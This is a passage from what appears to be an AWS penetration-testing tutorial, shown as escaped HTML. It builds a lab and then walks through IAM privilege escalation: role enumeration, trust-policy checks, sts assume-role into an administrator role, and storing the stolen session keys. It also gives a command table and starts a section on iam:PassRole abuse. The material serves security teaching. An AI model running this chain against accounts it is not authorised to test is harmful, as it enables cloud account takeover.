class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Back on EC2, the test works without any problems. The current EC2S3AccessRole can now view IAM roles.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Next, attach&lt;/strong&gt; &lt;code&gt;sts:AssumeRole&lt;/code&gt; &lt;strong&gt;permission to EC2S3AccessRole&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Follow the same steps as before and continue with an inline policy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let me explain the Resource section (outlined in red) in a little more detail. It is fairly interesting if you want to take a look (the same option appeared above as well).&lt;/p&gt;&#10;&lt;p&gt;If you select all resources, you can attempt to switch to any role in AWS, including roles in any AWS account. The prerequisite is still that the other role trusts you. As long as its trust policy contains the ARN for this account, you can switch to it across accounts. This is commonly used by enterprises with multiple AWS accounts.&#10;&lt;strong&gt;If you choose specific resources, you can click the option to add an ARN and make your selection.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;As mentioned above, selecting all resources imposes no restriction. This option adds one by limiting access to a single AWS account. In other words, you can only switch to roles in the AWS account you specify that trust you. Even if a role in another account trusts you, you still cannot switch to it unless you remove this restriction. You could think of it as a kind of two-way authentication.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Just add it directly and select all paths for the current ARN resource.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The two policies are now ready. We still need to create a role. To make the privilege escalation obvious, give the new role permissions such as AdministratorAccess and configure it to trust EC2S3AccessRole.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, we can create the role. One detail is worth mentioning: when we selected the trusted entity at the beginning, we chose the current account. As a result, the new PrivilegeTest role trusts every role in our account. Our original goal, however, was to trust only EC2S3AccessRole. To do that, use the policy below, insert its ARN, and edit the trust policy to replace the original one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AWS&amp;#34;: &amp;#34;arn:aws:iam::650251******:role/EC2S3AccessRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The lab environment is now fully set up.&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification"&gt;&lt;a href="#reproduction-and-verification" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;p&gt;Next, we will reproduce one attack chain. There are many ways to do this overall, so we will walk through one of them to demonstrate the principle.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[*].Arn&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The text after --query is the query syntax; compare these two outputs to understand it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[*].RoleName&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We found a whole list of roles. You may have plenty of questions at this point, but keep reading and I will explain them later. &lt;strong&gt;For now, the goal is simply to become familiar with this workflow.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;We already know that PrivilegeTest is the role that trusts our current role (EC2S3AccessRole), so let’s print its ARN.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[?RoleName==&amp;#39;PrivilegeTest&amp;#39;].Arn&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam list-roles --query &amp;#34;Roles[?RoleName==&amp;#39;PrivilegeTest&amp;#39;].Arn&amp;#34; --output text&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This rule is also worth studying&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We now have the ARN. Although we already know that this role trusts us, we should still verify it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws iam get-role --role-name PrivilegeTest --query &amp;#34;Role.AssumeRolePolicyDocument&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it does indeed trust us. We can now try to obtain the two keys for this high-privileged role.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn &amp;#34;arn:aws:iam::6502********:role/PrivilegeTest&amp;#34; --role-session-name test-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That works. We can write these credentials directly with the AWS CLI. There are many other ways to do this, but we cannot use the method from the beginning because it cannot store the token, which leaves the credentials unusable. The method below is probably the quickest and most convenient.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_access_key_id &amp;#34;ASIAxxxxxxxxxxxxx&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_secret_access_key &amp;#34;xxxxxxxxxxxxxxxxxx&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set aws_session_token &amp;#34;xxxxxxxxxxxxxxxxxxx&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure set region &amp;#34;us-east-2&amp;#34; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once the values have been entered, simply verify the current identity. I will not run any other commands.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts get-caller-identity --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—the switch succeeded. From here, you could inspect the current permissions and then do whatever else you need to do.&lt;/p&gt;&#10;&lt;h4 id="additional-notes"&gt;&lt;a href="#additional-notes" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h4&gt;&lt;p&gt;This is also the most troublesome part. Now that the workflow is clear, let me go over it once more. When we first obtain credentials for a role, whether through IMDS or some other method, the first thing to try if its permissions are too limited is privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;First, use the current role and xxxx to query the names and ARNs of all roles with xxxx. Then use xxxx to find which roles trust you, and finally use xxxx to switch to an xxxx role that trusts you.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;I highlighted the key steps above. The first issue is listing all roles. As we saw while setting up the lab, we gave the current role permission to do this. But what if it does not have that permission? There are actually many other methods, but they rely on other permissions (one way or another, you need permissions). This method is relatively simple, which is why we granted it permission to list all roles. Second, once it can list everything, we still need to see which roles trust us. That is why we also granted permission to retrieve policies, allowing us to inspect the trust policies of other roles. Third, we gave it &lt;code&gt;sts:AssumeRole&lt;/code&gt; permission so it could actually switch roles.&lt;/p&gt;&#10;&lt;p&gt;The most important step is listing all roles. You need to determine not only whether a role is highly privileged, but also whether it trusts the current role. Every piece of information you can think of has a corresponding permission that must be enabled before you can view it.&lt;/p&gt;&#10;&lt;p&gt;To inspect attached permission policies, you need &lt;strong&gt;iam list-attached-role-policies&lt;/strong&gt;. To inspect inline policies, you need &lt;strong&gt;iam list-role-policies&lt;/strong&gt;. Without those permissions, you cannot do anything. This additional section is the most important part: its main purpose is to show how to use whatever partial permissions are available to complete the attack chain.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Commands Required for the Workflow&lt;/strong&gt;&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Required Permission&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts get-caller-identity&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the current identity (determine whether it is an IAM user or IAM role)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;No permission required (available by default to all AWS accounts)&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-roles&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;List the names and ARNs of all IAM roles in the current AWS account&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListRoles&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-users&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;List all IAM users &lt;strong&gt;(username + ARN)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListUsers&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-user&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get detailed information about the current IAM user &lt;strong&gt;(username + ARN)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetUser&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-role --role-name &amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get detailed information about a specified role (including its trust policy)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;See which IAM users/roles &lt;strong&gt;have administrator permissions attached&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListEntitiesForPolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-attached-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the &lt;strong&gt;attached&lt;/strong&gt; managed policies for a specified role&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListAttachedRolePolicies&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the &lt;strong&gt;inline policies&lt;/strong&gt; for a specified role&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListRolePolicies&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-role-policy --role-name &amp;lt;ROLE_NAME&amp;gt; --policy-name &amp;lt;POLICY_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View the full details of a specified role&amp;rsquo;s &lt;strong&gt;inline policy&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetRolePolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-policy --policy-arn &amp;lt;POLICY_ARN&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View information about a specified &lt;strong&gt;managed policy&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetPolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-policy-version --policy-arn &amp;lt;POLICY_ARN&amp;gt; --version-id v1&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the detailed permissions in a specified &lt;strong&gt;managed policy version&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetPolicyVersion&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts assume-role --role-arn &amp;quot;arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;ROLE_NAME&amp;gt;&amp;quot; --role-session-name my-session&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Switch to the target role (the target role must trust the current identity)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts get-session-token&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get temporary MFA-based credentials (used to increase privileges)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:GetSessionToken&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts decode-authorization-message --encoded-message &amp;lt;ENCODED_MESSAGE&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Decode the detailed information in an &lt;code&gt;AccessDenied&lt;/code&gt; error&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:DecodeAuthorizationMessage&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3 id="abusing-the-iampassrole-permission"&gt;&lt;a href="#abusing-the-iampassrole-permission" class="header-anchor"&gt;&lt;/a&gt;Abusing the iam:PassRole Permission&#10;&lt;/h3&gt;&lt;h4 id="theory-1"&gt;&lt;a href="#theory-1" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;PassRole lets you assign an IAM role&lt;/strong&gt; to an &lt;strong&gt;AWS resource&lt;/strong&gt; (such as EC2 or Lambda).&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;But you cannot Assume that role yourself&lt;/strong&gt;. You can only let an AWS resource use it.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If that AWS resource can perform privileged operations&lt;/strong&gt; (such as reading and writing S3 or operating EC2), you can &lt;strong&gt;use it to obtain elevated privileges indirectly&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&lt;strong&gt;Approaches:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Attach a privileged role to Lambda (the common approach)&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;We have&lt;/strong&gt; the &lt;code&gt;iam:PassRole&lt;/code&gt; permission and can create / update Lambda functions.&lt;/li&gt;&#10;&lt;li&gt;We &lt;strong&gt;create a Lambda function and attach the privileged role to it&lt;/strong&gt;, then &lt;strong&gt;have Lambda execute commands&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Attach the privileged role to Lambda / EC2 (rare, but possible)&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;If the target privileged IAM role &lt;strong&gt;can modify AWS resources (EC2 / Lambda)&lt;/strong&gt;, it can be steered into executing malicious code.&lt;/li&gt;&#10;&lt;li&gt;This is relatively uncommon. It mainly happens when an administrator&amp;rsquo;s misconfiguration lets you control an AWS resource associated with a privileged 